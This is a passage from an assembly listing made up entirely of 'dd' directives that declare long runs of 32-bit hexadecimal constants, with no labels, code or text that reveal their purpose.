9378B2EFh, 6900CA7Fh, 0F53666A1h dd 588CAFA5h, 1300C4BDh, 0CE604D77h, 0A00104B8h, 0C0D353EDh dd 0B7609E8Ch, 5AE3EB4h, 8F4DE002h, 80E9DD5Bh, 74286F44h dd 2D317373h, 58E3C1FAh, 91C838h, 45B7FE9h, 0D19F6EBh dd 7FDE40Bh, 139DC150h, 0CFD0E801h, 0A0634EDDh, 657B97E8h dd 28948478h, 0C39B6FE0h, 935703ABh, 36953DBFh, 377BD2D0h dd 98EC4695h, 41983251h, 75DBB38h, 30A72154h, 0B000B43Ah dd 696E3538h, 36CD1464h, 123D93B1h, 88C96F80h, 0E0AA11A1h dd 3020B737h, 0A480F0C4h, 2C9F4A97h, 1807DDAh, 83C3FA71h dd 2654243Ah, 0F148058h, 851EA3AAh, 3C8810BEh, 0B0620BEFh dd 188352C5h, 74F09806h, 0C101F044h, 900FD1EBh, 6CE8DAA5h dd 0A13A00A2h, 6849A081h, 0C0009717h, 13824C67h, 0EECCFEAFh dd 0F098004Bh, 8EF09CFh, 7E002E0Fh, 3A3B6152h, 90BA9CC0h dd 7B3007E4h, 0A3F75CBEh, 76EA1782h, 0A7A88055h, 0D57AD8h dd 2B36A3DDh, 0A09E68BCh, 4DB5853Dh, 0F40C0358h, 0FB324909h dd 2D71E7A1h, 0E4207543h, 522C00C3h, 8CA4F242h, 4100ABC8h dd 43ED510Fh, 0EB516BBh, 96E9E5DCh, 0A80A3D80h, 1500E0D7h dd 0F17E382Eh, 0B67320h, 0B5FDC211h, 0B204135Ch, 0F678BD00h dd 5A4BB1A3h, 7C8F0963h, 58028BA5h, 205F9390h, 0D2AE330Ch dd 0C52C12D3h, 3828040Eh, 93B9408Ch, 289D4803h, 4A9859A0h dd 1CB02043h, 0CB002749h, 0EE4551B1h, 6C1ABAh, 0CF47F256h dd 240D880Bh, 5F209100h, 5EFFBB57h, 0C8B3124Fh, 0E3284137h dd 6F2B1AA8h, 8017C40Fh, 0F973216Fh, 92F82552h, 0B5005CD0h dd 0A367C53h, 0AA5E58h, 978F24DCh, 6DBA183Ch, 32EFA400h dd 0A358496Ch, 0CD7B9Eh, 484D802Ah, 88B216A9h, 1108571Eh dd 44ACFAC0h, 3CFCC7AEh, 393A508Bh, 8C806B38h, 8FFF5B28h dd 0AC0056E8h, 1E3F75F5h, 1DA1BE0Ch, 43036E34h, 5583908Ah dd 7BDA6DB8h, 87041490h, 0B9889CEEh, 0EA011C0Fh, 80CCE348h dd 3D0AAC34h, 2C3B76DDh, 829604h, 0A83F228Fh, 8C023255h dd 536921B1h, 794F66Ah, 0F05E3505h, 3AC0D8BDh, 14765724h dd 7E40D704h, 56259400h, 7F5DE598h, 0E0305C0h, 0B0E8C2D3h dd 0D4A5292Fh, 234D8013h, 84029E03h, 0A8C79FCFh, 2810C025h dd 8B2D3824h, 36A5F100h, 0ABFB67EBh, 0B1968514h, 231A09D0h dd 0D52002C7h, 0C5D440B6h, 3E0D09CCh, 0D000B70Ch, 1062EE1Fh dd 245EA602h, 783DA93Bh, 9EAF0024h, 0AC74CD8Eh, 0F0391560h dd 2BA500F1h, 0ECEEE721h, 0FA438E8h, 0E10947Dh, 0DE203429h dd 0C4CD0B82h, 14360500h, 743763Dh, 285A00F6h, 3B23D49Eh dd 0A33B0EE6h, 0D95698E2h, 5ABE0270h, 10688A1Ch, 130029E5h dd 65320317h, 8204A615h, 0F839E1F4h, 0C7BE8880h, 0C0F326D2h dd 79803EC8h, 6962DA6Ch, 40FC61Bh, 0E7999B72h, 74A114FAh dd 0AC20B5CAh, 10777D4Eh, 0F691B0h, 8A2287A4h, 0A8A3C4h dd 770ACC9Ah, 0FB1BA2D3h, 3C65B8C0h, 7E2D4858h, 0E4700F18h dd 0F360B54Bh, 4C5484F6h, 73028D7Eh, 0D4C23F98h, 4C6C7018h dd 0A50000E8h, 25625158h, 0F5FCC72Eh, 0E83D7D2Eh, 4B6BC180h dd 5098FB8Bh, 3CFF068h, 0A0F6ECDh, 0B074A62Ch, 0A8265102h dd 80AB8FB5h, 0C33E13E0h, 0D45B0BDBh, 0E282A1DDh, 80F8B858h dd 25BAFC00h, 53EA36DCh, 149E15h, 0DB51A909h, 0A0B2C137h dd 9AEE5EB0h, 6500CCF4h, 2CA3F34Ch, 0BFA73E5h, 747060BDh dd 9DCD4800h, 191307C5h, 0C0BC9EA7h, 0EFCBA200h, 0EC90B21Bh dd 54F4534Bh, 1E71F6B5h, 89DE2BFEh, 30747BEAh, 5DA950h dd 0FA859F3h, 93436610h, 0C936BE00h, 9A0E609Eh, 6F482514h dd 0D284D881h, 194AF0CEh, 13179700h, 0DDB15D4Dh, 7DE8007Fh dd 3AB4B8A8h, 3907D2C2h, 55E33A4h, 0CC12BEF0h, 0E2870010h dd 7A4F5099h, 0FF133645h, 58E8A91Bh, 0D7583916h, 45C970C4h dd 50900299h, 0DCB2A701h, 3C4BAC06h, 76D5B70h, 0D2D117FDh dd 13AB0071h, 0D000743Ah, 8FE84E40h, 3C6DD99h, 5B5D10F6h dd 17D8A5C7h, 1900C1D2h, 0EF1A388Ch, 58D56Fh, 8AD7C0B7h dd 4F9A2461h, 0DDD2B913h, 1F6558B0h, 80191A64h, 9F44572Eh dd 144FA2B2h, 0D1BF0h, 2F657C36h, 337BF99Dh, 672EAD01h dd 328F3BC0h, 0D5EE140h, 819F006Bh, 29AA2F39h, 4801AF80h dd 0EB157471h, 0CC7C4DEEh, 0BF935338h, 21C0B9F4h, 17127E63h dd 84E87467h, 33D3724h, 0B37D84C6h, 0CE317100h, 4E33E07h dd 0E51F125Fh, 379C0019h, 380E26E4h, 7E84C715h, 40CF2018h dd 0BB7440EBh, 4D1F5900h, 0D2D8F05h, 35BD0032h, 0E0727AF6h dd 70C03A84h, 13800C55h, 4BA60030h, 8C835DF2h, 34090DA7h dd 0DCD2C38Eh, 4076098h, 300229Dh, 232C197Ah, 5FE4D3h dd 83E8F046h, 4EFFB6F8h, 6B008277h, 69FEDB0Fh, 0A1B2BCE3h dd 0B302A054h, 0E0B606h, 0E4733A5Bh, 0DDC70FEBh, 400D0200h dd 1386BBBDh, 0BA0900FEh, 0B9E3DF73h, 3E01014Ch, 569094D0h dd 16F877E4h, 956000C9h, 51385D5Fh, 0AE064B05h, 0B49F291Ch dd 0ADC10079h, 9EF79135h, 31061B94h, 30C65E03h, 61AE3B21h dd 10E250BEh, 0C8268B3h, 0C815C9h, 1600F349h, 2C51B966h dd 0DB0AD4h, 40D891Fh, 1CFDD541h, 6014AE25h, 0E4F5E946h dd 8EEF1508h, 7CA0BCh dd 0DE95D799h, 0D8C9CA2Fh, 0FB5DD107h, 9620A138h, 402CBBh dd 468E7612h, 416CE7BDh, 69798400h, 1525BCDBh, 74A4EE98h dd 0E45D0001h, 0BB92057Ch, 1760C8B9h, 3A971BA9h, 6DC1006Fh dd 49EBCFF1h, 7401FA31h, 5141288Fh, 0C2CC9982h, 189B01CCh dd 67BE0F6Dh, 68418007h, 86D7E975h, 36B20CA0h, 44C1C0ECh dd 56699300h, 7E3C8F4h, 1529E45Ch, 98C2A063h, 0D6A42100h dd 0EC62EA16h, 0F44A9507h, 1D30CDBEh, 90B8BBB2h, 0C0A0303Ch dd 0A2761731h, 0D468B400h, 69290DE6h, 0A91721Ch, 44248E4Eh dd 0FFB00680h, 0BE003074h, 0AEB64D65h, 0B354DFh, 1C401D07h dd 6DE8C41Bh, 0ED6AC900h, 0D7D8BFAFh, 7F980082h, 390A7EE7h dd 28C01D24h, 80D6D3A4h, 1F090B9h, 0D46CD145h, 80733EB3h dd 0BEAFBB20h, 0E80B98Ch, 9740E0F7h, 490FB780h, 41076AFFh dd 92FFB9Fh, 0E0F31657h, 88A33Ch, 83371F08h, 182FD91Bh dd 0AD0030DDh, 0DBD8C727h, 0B85200A7h, 4972641h, 0E105250Fh dd 0D7050EB7h, 0DE1689C1h, 0BAFD1080h, 622B99F5h, 0AFA4B801h dd 68B93A17h, 7B14908Ah, 0FE680EEh, 30DCC8C4h, 84BC1528h dd 80822F3Dh, 77FE7DE4h, 7EA7BCCh, 16AFB3Ch, 0DBAC4F69h dd 7146E711h, 0CD65ED02h, 0F420C9C7h, 0D078CF68h, 60688C41h dd 621DC104h, 0A2108C23h, 131931h, 499D7E2Dh, 43EE9AECh dd 15841E0Fh, 0A81DC6ABh, 0B5EB0F41h, 62EF559Ch, 98B83A60h dd 3D05FB29h, 0BCE2B244h, 838E340Eh, 27A474h, 0F7C33C11h dd 0D8D7A5F2h, 99DBF33h, 5C210038h, 0AFC6F7CBh, 0B0601D55h dd 0E4D2549h, 0C02B01EDh, 317ECD8Ah, 0AF3E70A1h, 5F70DF00h dd 4CB37772h, 3D0A18F4h, 2EA239A5h, 0C3F159C0h, 2B55F75h dd 1AC097A3h, 0DE00564h, 0EA15C4B1h, 8C1704h, 75796DFBh dd 19E07090h, 8789828h, 0D8219F07h, 0A9A7981h, 69B9AE36h dd 210D0618h, 35005FC2h, 494CC3C8h, 985963h, 66D8A8B2h dd 9A237DF4h, 0FE47B13h, 33772F02h, 41C8AFB7h, 3DBEE7F0h dd 70174020h, 0DF08CC45h, 0E9007721h, 0E5DCC4E7h, 0FA86D0F0h dd 0B030222Eh, 0F15F3101h, 81840A73h, 0C21DF360h, 503F3DC6h dd 4115CCA7h, 0C4246805h, 5C489137h, 0C92630B0h, 0ECCB1D21h dd 0DB11C0C0h, 436C5674h, 1906090h, 3F7C09D0h, 0D560AFBh dd 73618012h, 80F0CE61h, 0A54B0041h, 203CC2D5h, 773531A7h dd 0C6F891Ch, 905250Ch, 42003669h, 0AC339A01h, 0FA94DEh dd 0EE6FBFE2h, 0B3A76BCBh, 26DF1D14h, 1C8236Ch, 436D5675h dd 89B11870h, 0C956F8FAh, 4470E70Fh, 96D5E0ECh, 242BA5BFh dd 0A0706294h, 17346E0h, 3DBAE814h, 0DE0C4838h, 17ED7B88h dd 4CD0E7h, 0C0EE65EBh, 1018D14h, 0BBFD83C3h, 0F18F30A2h dd 2019A58h, 0C876B190h, 0EF0A6A6Eh, 0F89B2BBDh, 223CB341h dd 8A2431BEh, 2A6367ECh, 2C63F7Ch, 43A15681h, 10AC3190h dd 75679FEh, 29D2468Dh, 613716A4h, 6BDED603h, 0A836B4B0h dd 1D80E2h, 944D1420h, 0C86E9619h, 494E770Fh, 51A7ACBEh dd 9BE900C5h, 0A6E8AFFDh, 2650D7FEh, 0A83F1A87h, 0A9A49C1Eh dd 0C43AB975h, 0DE000323h, 0A5493E77h, 260C001Fh, 0D69B07E1h dd 45300A23h, 0ABA489BDh, 1F39C318h, 8F94B31Dh, 0C0AF880Ch dd 5A8A4E2h, 440A51C5h, 2FA2A021h, 0CF979850h, 7B5800C6h dd 6643108Eh, 39164A98h, 5808EE1Fh, 49F4BFA3h, 0BD80846Ah dd 0A7A614F7h, 6239448Ch, 85F7C51Ch, 0AA3B0B02h, 0E06E1Ch dd 0D62BD53Ch, 611E5730h, 33C77702h, 4120F29Bh, 750C34C0h dd 0F7C0048Ch, 62CFA5F1h, 0C85D2040h, 0C2A0ADF7h, 0D501D130h dd 19BAD751h, 88249531h, 0EE3B00A4h, 81F782A5h, 0F2156ABBh dd 941505h, 2AFB5910h, 71BA58Fh, 56FFB57Dh, 9C45406Eh dd 42F92B06h, 0D802F390h, 18691119h, 15F709BCh, 149CAFA6h dd 0F7086973h, 800E05D2h, 3D01AC9h, 0CD028094h, 1B1368CFh dd 2713C0D8h, 18F748E1h, 22A83A84h, 8D5C8FAEh, 42F0E12Eh dd 31E760E1h, 0E4289A1Fh, 0B8D82000h, 0AC040E19h, 0C55730A9h dd 4F312338h, 0B8A0747Ah, 0A5061F7Ch, 92CAA941h, 9A4E240h dd 0B230B71Bh, 140EDC20h, 180740FBh, 6E29F0DEh, 7E1F0D60h dd 0CB6C099Fh, 1090A366h, 8B005F07h, 28062003h, 19F625Dh dd 0E82BAE84h, 8F2DA3A4h, 40FFEE29h, 0D885310Ch, 1C3A00ADh dd 0BF99ED96h, 74000B2Eh, 7D8B2FB5h, 0A12A6CC1h, 0F01966B8h dd 0A523F0F7h, 93311C7h, 80F7C966h, 0B6F60986h, 0D818482Ch dd 2FAE1A12h, 423E8h, 0A5A49B37h, 8C442DBh, 88555D3h, 47D2888h dd 1D229EB8h, 7BDC98C2h, 43A35609h, 6C9CA0h, 5E5673FCh dd 0B36E46BEh, 0A1D3822h, 0DEF69714h, 32465C7Ch, 89122C01h dd 892342B3h, 2F902B19h, 0A69E1800h, 2920E8A9h, 158C61Dh dd 439F567Fh, 88D61880h, 0D0C077F8h, 9A0D1EB7h, 57DE054Eh dd 0C80616CAh, 9079BA44h, 0CBBC2700h, 0CD769879h, 81C9000Ah dd 86B74C87h, 2B19C5B8h, 1D91AD8Dh, 16386432h, 0F0FD2500h dd 0FF15C22Ah, 0EC03C7B0h, 60025007h, 7604B84Dh, 0EA7A7Bh dd 634F4CA4h, 0D29072EFh, 83B8A51Dh, 0EBA864Bh, 346FF601h dd 9FF0CE00h, 0A4A20C75h, 467C1894h, 8C930E39h, 12E9F830h dd 922400FBh, 8EA5FADAh, 8A58E539h, 22044CB0h, 0AE30300Ah dd 42CE8F31h, 0A01A9900h, 0D38E4B24h, 6C6400B1h, 0A4123B07h dd 0C000FE3Ch, 0B0EC2302h, 0B21B73h, 3AF6B394h, 0EDBC0C12h dd 0C9C4AD3Fh, 79A38078h, 8C40907Bh, 38D2FF44h, 0E500796Bh dd 2375888Eh, 36084929h, 83BB330Ah, 0DC94AEB7h, 0A33089BEh dd 0C9EAF936h, 0B01F1D5Eh, 0E16B0049h, 0D1B65045h, 0ACE9710Eh dd 0AB1D6691h, 3F0F0049h, 80ED2767h, 0E77B8DAFh, 3E88E31Ch dd 1A061D40h, 0C0BD307Eh, 18CD4379h, 0A54C8B49h, 27EF0478h dd 7CD7F3A9h, 0A7ABF711h, 2009A862h, 703722A4h, 0EB40271Fh dd 8A678BAAh, 88FC08EEh, 98800C05h, 0DAA15CB5h, 0C5710E55h dd 0B241A4CFh, 55EC0196h, 94B805E8h, 6DC8CC34h, 0E7F2048Ch dd 62E83DC0h, 0EB8521E1h, 0A73A20E7h, 5F30F500h, 89664233h dd 0B107E2A5h, 15A69100h, 0C025A2h, 39CADAF0h, 0C82FE72h dd 0B9304BF1h, 0C704E759h, 7D9A679Bh, 2EDAF8CCh, 2974BAC5h dd 18077914h, 60229848h, 37EE89BEh, 0F829F34Bh, 6AB0DC7Ch dd 0FA4996Ch, 76D19881h, 6A980373h, 1DA17E15h, 2B9210D7h dd 39A96193h, 0F0C753A4h, 530EB65h, 0A1E37911h, 21200E06h dd 4B775D7h, 0E53C670Eh, 0F783020h, 948C5401h, 0D45CAFA8h dd 604D5424h, 995D69C4h, 0F037DF9h, 0CC7C8F1Fh, 0D09BAFh dd 58F47F29h, 0F740A99Ah, 0BEE6AE00h, 0BB2F5127h, 837C91A5h dd 1BAFBF0Fh, 207D7EA1h, 8340E4E8h, 9B7C0564h, 88061707h dd 0DF0425D8h, 0A56A1A55h, 0E5C04C9Bh, 9A5F28C2h, 0DF083D01h dd 922B8135h, 204D3032h, 0A4B82080h, 2B149E1Eh, 58B8061Fh dd 5BB00670h, 959A91Dh, 74937637h, 0C8675429h, 0BF0D3006h dd 0CF831210h, 142F0E40h, 64721560h, 0AC1C4B97h, 17C15A98h dd 0ADE0EEB4h, 6A6FC4h, 2F336B86h, 0FEFA2DC9h, 0CF00DDE4h dd 34B732D6h, 0F8119E14h, 0B5281F58h, 0CD83008Ch, 7CC7ED06h dd 0C3D03E0Eh, 7ACC013h, 1EC0F2A8h, 0C3EFD51Bh, 847DD720h dd 3B136588h, 2E8CA407h, 6040A248h, 0F6700347h, 0A580062h dd 599AEDA6h, 92008EB1h, 81311C49h, 3F01EFC9h, 76009189h dd 0AFCE03C4h dd 0D6FC3347h, 6A457D00h, 6D797873h, 0DB870075h, 0ABB34943h dd 2BEE0BA6h, 3176AA00h, 9AEC3EACh, 49230086h, 443899A1h dd 1E000629h, 0BF4FC2E2h, 1AFB877h, 0C00B72E0h, 0CC25FFF7h dd 0AD00348Bh, 0C6936F7Fh, 8CC779h, 9FD81E35h, 0AEC91338h dd 0A5837500h, 2DF9E92Bh, 1D43C4Eh, 3843860Bh, 0E25B5048h dd 88538400h, 0C3CAE7CFh, 275707B4h, 30D5B8D9h, 1F54130Ch dd 0BD8CC800h, 988D518Bh, 92BC0259h, 15B7445Ah, 0A4E40CE4h dd 2CD6D906h, 6E082F7h, 6FB1CD77h, 0F30F401Eh, 761BB63h dd 1DF0D7DCh, 714A52F5h, 594F00DEh, 0BB7F26B3h, 0D0C78769h dd 6E081E9h, 7EA60D8h, 77D5BDF8h, 647CA038h, 6090AE4Dh dd 1AC73501h, 2395D75Ch, 8E156880h, 22ED1FC3h, 0E76D10C0h dd 0E40DA6FEh, 1B0E00F4h, 0DD355FFCh, 0D8FAEACCh, 0FF3F53F2h dd 6C1D80E7h, 0AC90603Eh, 693A1E75h, 9F39477Dh, 0C041B0CEh dd 51009887h, 0F928B804h, 5AC3F0h, 0C837DF0Fh, 0F48F2197h dd 7788BD00h, 5D853F31h, 0CE38165Bh, 0E4371F92h, 8AD5808Ch dd 0E1064C9Dh, 0A8F36230h, 3BC3D6h, 2D18366h, 347ACBF1h dd 22176172h, 6700A5CEh, 1444DEC0h, 9F2400C4h, 756A057h dd 0BE0239CFh, 0C6F1FA63h, 0C548AE58h, 0D4005B2Eh, 4CDA3DC4h dd 6E02078Fh, 19D00C5Eh, 2B0B0423h, 40833699h, 5F87BABCh dd 79447A54h, 0C8FB3B00h, 39A4D09Fh, 0B99E3DF4h, 0BD2DEB00h dd 0CC0BF3C7h, 5202D67Ch, 741ED036h, 692440B5h, 0F1451E48h dd 293C44BCh, 1C80B00Bh, 61B5607h, 717026B1h, 0E278CA6h dd 0D9A0D321h, 20013EE0h, 33907656h, 7E2ECA00h, 0CC29BDC2h dd 92620305h, 86978A1Dh, 9481BBC8h, 5AA4AB00h, 0C2BABD75h dd 0CD3B3B33h, 0D4302A01h, 0C429468Dh, 18006DBFh, 0BC0BC6EEh dd 0FE70810h, 0B2FA1B47h, 0A95B28A0h, 0B8074102h, 4365A3A8h dd 0E7AFDFC0h, 0BEF39F8h, 3CBC000h, 0D29497D6h, 40870E07h dd 4C202F02h, 0C501148h, 6605D51Fh, 727A0C19h, 80AAF900h dd 717641FDh, 3E6A0095h, 4530CD49h, 0BF00EAFAh, 74EC5C34h dd 306FDCB8h, 0E941692Ch, 2E003570h, 0F461B0FFh, 3CB846B4h dd 740017C7h, 0EDAE4FAh, 6D7AB5CEh, 0C5000A7Bh, 0CAB723EDh dd 18D91EF4h, 0F9BABBBFh, 0BE0005D8h, 0AC7D2437h, 0BA33DD30h dd 3E990078h, 0D4B51AE2h, 0BC0092EEh, 0DCFD6FB2h, 5093ECh dd 3052AC02h, 0F8F04A08h, 65B1DF00h, 6D299EA2h, 0DDE60142h dd 4D52C525h, 6982F8A9h, 7B5D9600h, 0E9350D91h, 0B140EB8Bh dd 72E0E04h, 5C63628Eh, 1C88236h, 39D3CC8h, 87EE6509h dd 5208089h, 0DC5B64h, 0E4FED5C5h, 8010A58Eh, 43A78F09h dd 0C2C80C1h, 0E760B41h, 88348335h, 7D42B1A0h, 407D36E8h dd 193F6D00h, 48718ECCh, 185D008Dh, 0C9233597h, 5B00347Eh dd 93B5587Bh, 97577BDh, 0AFEC02CCh, 0D247D420h, 0E6B8C604h dd 0CB074A00h, 0BFFFC887h, 76420FDFh, 56805FB8h, 2A7B6ABDh dd 33A30D00h, 44433194h, 0AFE82825h, 62B803FBh, 2CE45019h dd 85AC111Fh, 698B4Fh, 24E802DBh, 100103E2h, 0FAAA433Fh dd 1797A0B7h, 0B6001BB2h, 2A8280D7h, 2568555h, 57F8B1C8h dd 0FC80BF72h, 7C23CBAAh, 95A87101h, 18361B3h, 14FD30h dd 320604F1h, 0A49673B5h, 0DC35420Ah, 0A800D8E0h, 4675B729h dd 32567D3Bh, 0D9ECFB96h, 0D4A78841h, 63009A5Eh, 0FC2CD8D3h dd 908B7E44h, 60920Ch, 0FA51F29Bh, 11D9A2ABh, 5C1EE500h dd 8560F730h, 8544CF6h, 589A2D0Fh, 0C1AC14E0h, 7A008219h dd 0F502FB2Ah, 3D45EBh, 0DA946A96h, 79E73A15h, 0ACB9B82Eh dd 0D140B700h, 0A3ADF1h, 0B64884E4h, 0B38FE555h, 0DA085801h dd 0A18D28D0h, 3D11C2CCh, 0A2011E27h, 62995CF9h, 5960D0DEh dd 6B5A8F03h, 0D0546C58h, 0EED150h, 0FA53FC22h, 72944070h dd 0A03B9C25h, 150CFDD0h, 0FF5900FCh, 7E9CAD7h, 0F801DEE3h dd 0F9D5AA10h, 5D4B7DBh, 0C1BF00E4h, 0BA07EC0Dh, 1C07F31Eh dd 1AC0A713h, 21C9A4F0h, 906D0770h, 0E4DD3A25h, 1D9600C4h dd 10FA3BFh, 0F74840D8h, 8C79989Ch, 10284280h, 5813EB95h dd 0CF2466C0h, 5E173Fh, 0BC0E967Eh, 74F29A6h, 3DE1A921h dd 6EB3C16Ch, 0E0EC31EFh, 980C48E0h, 0D928DFB8h, 1096007Ah dd 0D817A5BFh, 13006224h, 0C548D02Fh, 2C9D9E3Dh, 80E8B855h dd 92287E37h, 8030DFC8h, 9072488Eh, 0E23A2A1Ah, 0BEFA0064h dd 17D8E7A3h, 0BD3E5B06h, 0F14700B6h, 0E2A69A52h, 54271DBCh dd 7805C0C3h, 0B360E82Ch, 0CEF77700h, 0E9AF7F52h, 0C09400E5h dd 0CBCD43CCh, 380A7BF9h, 0A95F48A6h, 442DEC02h, 0A083E3CFh dd 1D64EAD9h, 83BDD3B8h, 804C02Fh, 3E5D9107h, 5230BCDBh dd 3D28E4FCh, 0AB80C58Bh, 20C6B80Ah, 0BCA3A2h, 0B39C5380h dd 7BDF5DF8h, 0F0B3CF6h, 83CBBA00h, 0A2719B88h, 0E23B5F00h dd 1CBC9E1Eh, 9051E730h, 0F92088B6h, 0AB6300F7h, 8D110381h dd 3A00D0ACh, 79A3613h, 0C1320A51h, 0AF92C431h, 43BF0FDh dd 39F56E00h, 9C2BAB17h, 45C2004Dh, 2F5AAE84h, 9801750Fh dd 43B64F07h, 0D2C03BBAh, 32791E45h, 2BE7C556h, 2198E292h dd 389D0042h, 102D5F50h, 2BD63D02h, 0D73FFD62h, 1D85FC60h dd 533839EAh, 0ABC3851Bh, 9C4E16AFh, 2425409Bh, 33F90C6h dd 3B12EA4Dh, 112BE3A7h, 0B9C104E0h, 1081588Bh, 29ECEE01h dd 0A333E80Fh, 5D72F800h, 0D2899ACDh, 4B2D0036h, 0EC420313h dd 0D600F281h, 3FA9C16Bh, 17A1F6B2h, 7221804h, 0C96052h dd 0D2099D65h, 811E0B1Fh, 0E0B0460Fh, 2AB4522Ch, 10E50008h dd 0F448C02Bh, 0AB0079EAh, 0A561D9BEh, 0ED346Ah, 180B2D27h dd 0F6F2B116h, 9EFC2E1Fh, 1C0AA01h, 0F9E0A7C3h, 0C1E0037h dd 4A85E03h, 0F0003A4Eh, 95EF8643h, 1E876BB6h, 83EBD11Bh dd 8D754452h, 0AE857C98h, 968F9201h, 2FBEA3A7h, 0E45598D0h dd 35F40FBFh, 5F4CD733h, 0DB0EAD88h, 208C9ABDh, 695DDDC2h dd 37F51F95h, 5B750045h, 26533D14h, 108331Dh, 54EF68C1h dd 4081911Bh, 4ECB4799h, 0EA43FC15h, 46ABAF05h, 91037923h dd 0C88BB086h, 3FC16Ah, 597C191Dh, 3DC3048Ah, 8DAAA600h dd 9171A28h, 0DC5F5496h, 0ACB70046h, 15848FCCh, 970001B6h dd 1F5ED014h, 1E0363C5h, 0C1C283CFh, 17D118F7h, 39D9F37Fh dd 0FF3FECF3h, 0B1220C3Bh, 61152107h, 4C035ECh, 6DC2A745h dd 50109091h, 0F50D1F7Eh, 0A0B23782h, 2D04C0h, 300F1706h dd 9236EDBh, 7368900h, 0FFC371B4h, 80E30C11h, 23C89DA7h dd 0BF60EB0Bh, 0E8C600CFh, 9F3875h, 0E3CA10B7h, 64875EA1h dd 0F6F40107h, 0C270954Fh, 778C06h, 0A7E5BB05h, 7C56FEAEh dd 454BA000h, 92DEA8E4h, 467F1FF9h, 0C09F1C93h, 0C241A9EAh dd 9C001314h, 27F09403h, 72EF5507h, 8640328h, 191A2957h dd 4697D090h, 501CAC03h, 8154E3F8h, 6BC0FFE9h, 85C9008Eh dd 0E79AC8C0h, 5B00A281h, 7D7BEA23h, 5578C1DDh, 4FF0C441h dd 0B62F3B72h, 997EC580h, 0DA35BAB5h, 0D11A3600h, 27F6C15Ah dd 81200075h, 5947A104h, 0B00069F8h, 0D5D44421h, 0F55023h dd 5A88BB13h, 185829EEh, 0DD070C00h, 4E0A1B2h, 839D2602h dd 0DF8C0335h, 919372C8h, 4A3456D0h, 0B8ABF93Dh, 6B570089h dd 23D6F108h, 1791020Bh, 40A279DAh, 0B287FC80h, 13E66B8Ch dd 0D0ACAB2Fh, 0A6DA3110h, 0D44D52E0h, 0FA030536h, 8FE2BCC7h dd 38E9217Ah, 0F6F94703h dd 0ABFB80BFh, 0C5763E2Eh, 0BDFA4A80h, 0F3DD28A5h, 0C2DAC03h dd 0A8D4B616h, 904A18C4h, 0FC3205CCh, 804CA2EAh, 0F50B3CCBh dd 3646E00Fh, 0D16E8Fh, 6E0DE7B9h, 12107482h, 0F5E59Ah dd 0AFCD8A50h, 0D5009296h, 0A8F0F201h, 91E3F7h, 0DA09B09Eh dd 655C67E7h, 21B81877h, 50FAB9C0h, 0B02D98h, 0C949E855h dd 0C44A5D79h, 0D4537C06h, 0C1473Dh, 377AEACBh, 3C2D6FB0h dd 0ADD10A00h, 17F5B549h, 994C073Ah, 709AD23Fh, 7E1CFCC7h dd 49F29B72h, 0E88A9500h, 3CF54704h, 0DACA00FEh, 25E32ABFh dd 0B3006FDDh, 66271F26h, 7AD26347h, 0CD100139h, 0B6D8A7A1h dd 6530F4FEh, 0A9479600h, 0AAC13470h, 0F9B30038h, 0BC687893h dd 0BB07DE71h, 0A03533Ch, 0EA9B07E0h, 0F8740009h, 8EDA5A6Dh dd 0A53CD0B4h, 0A9F58057h, 0F07C9AAEh, 34D260C9h, 0EC6A7904h dd 0DF012E14h, 98780090h, 9AA66CD0h, 1B4600A3h, 0B16762CBh dd 7F00F42Dh, 2F0EE8E5h, 0E07D50C1h, 107C0Fh, 0D1958165h dd 0DD716ECEh, 759A7A00h, 0E1369154h, 7BCD00A5h, 6AC91F15h dd 4101B565h, 0C20DD71Ch, 0CC508DA1h, 0FE573Ah, 439677EBh dd 199DB126h, 820B003h, 0A79C44A8h, 0D3D1A070h, 0CA7200DBh dd 1855FBA6h, 7E00DF82h, 8428ADA1h, 882573h, 0F5C5AA60h dd 24097C7Dh, 999D7F01h, 8084BAF3h, 138F97FCh, 5C7A23h dd 7267F9C8h, 0FCA0F062h, 0AA7253A6h, 783E2226h, 8D666E07h dd 42F0BF97h, 7C3085F7h, 8606006Ch, 0A76AC2F0h, 4E21776h dd 0C4476807h, 0C20EFC4Dh, 8038ECF9h, 865A4597h, 0B02B12DDh dd 1D4D0144h, 0DC93B4F4h, 0DB002328h, 64CE8837h, 1E4C773h dd 0DEB92D13h, 40DFA374h, 47CA62B1h, 0A5887D00h, 0E98F944Ah dd 0C952000Bh, 17BBF358h, 680B5CFCh, 721EB95h, 0E130C4AFh dd 2E71DAh, 0E2A9303Eh, 1416267Ch, 0C22AB00Fh, 3931E0BFh dd 73094756h, 0F7E50045h, 0E0BE38F4h, 0E317F2DDh, 6714C77Fh dd 0DAA81800h, 91734A8h, 64FF3AD5h, 0E60E48Fh, 69AE4D20h dd 8A17300h, 398944CAh, 63740041h, 0A696B84Bh, 5A097FDDh dd 37867Eh, 0E185829Ch, 0F66C24ACh, 746981A0h, 0EC6127D0h dd 560FB494h, 218DC1h, 0E0352E42h, 5D760029h, 31D2D658h dd 280ED9BDh, 0A55A4DB9h, 64D0437Dh, 121FCA5Dh, 43BA8BBh dd 0D77CDB8Ch, 0FE400FC0h, 6C4FADC5h, 0B50139h, 85BD3DFBh dd 0C2444Bh, 0D5214C6Eh, 0DCE948A1h, 0F1309A00h, 0EE3192E4h dd 0C00900F7h, 0A4BFF5B4h, 0C7ECFB03h, 7872C933h, 0C184DBC4h dd 853CC1Eh, 9603E0CFh, 30B4BA3Bh, 0CEA959A4h, 0D31D84D7h dd 0CC00A7C4h, 0F9FF0DA0h, 0CF89000Fh, 3A27C0C2h, 0FB0081F2h dd 0E94CCAF6h, 1D2A4030h, 0C0C2347Ah, 59FA13B3h, 2750C890h dd 0AA00C930h, 0F04C26D2h, 0F10B96h, 0F5A8971Dh, 0F96C8F87h dd 2039796Eh, 56BF9B7Ch, 49B87EB6h, 6314C8D7h, 0A63058D6h dd 69483C68h, 3F9DD400h, 0A3AD1A9Bh, 63C4003Dh, 6E66C517h dd 90EC5226h, 0DD603Ch, 2AB97CEEh, 0FDCD35h, 0CEDC5E22h dd 976A1E2Dh, 8EE51300h, 7EFB0AD7h, 6ECC0055h, 747F0DD4h dd 8C0263DBh, 0E324E093h, 805051A4h, 0EDAD51B1h, 0A91DBE76h dd 0DE1E71B8h, 0D745C3C0h, 0F8C072B2h, 3707CA4h, 3374A69Dh dd 44E0A3ACh, 9E74E59Fh, 0C310DB60h, 0E0C01BA8h, 67F800D6h dd 90504179h, 0AC00DB0Ch, 0EDA34564h, 0FB3BF74h, 0AB337EA9h dd 0AE15011Fh, 0ECC2709Dh, 0DAE8710Dh, 0C36DAC07h, 40CFB273h dd 3883ED74h, 6CA73CE0h, 62A6D885h, 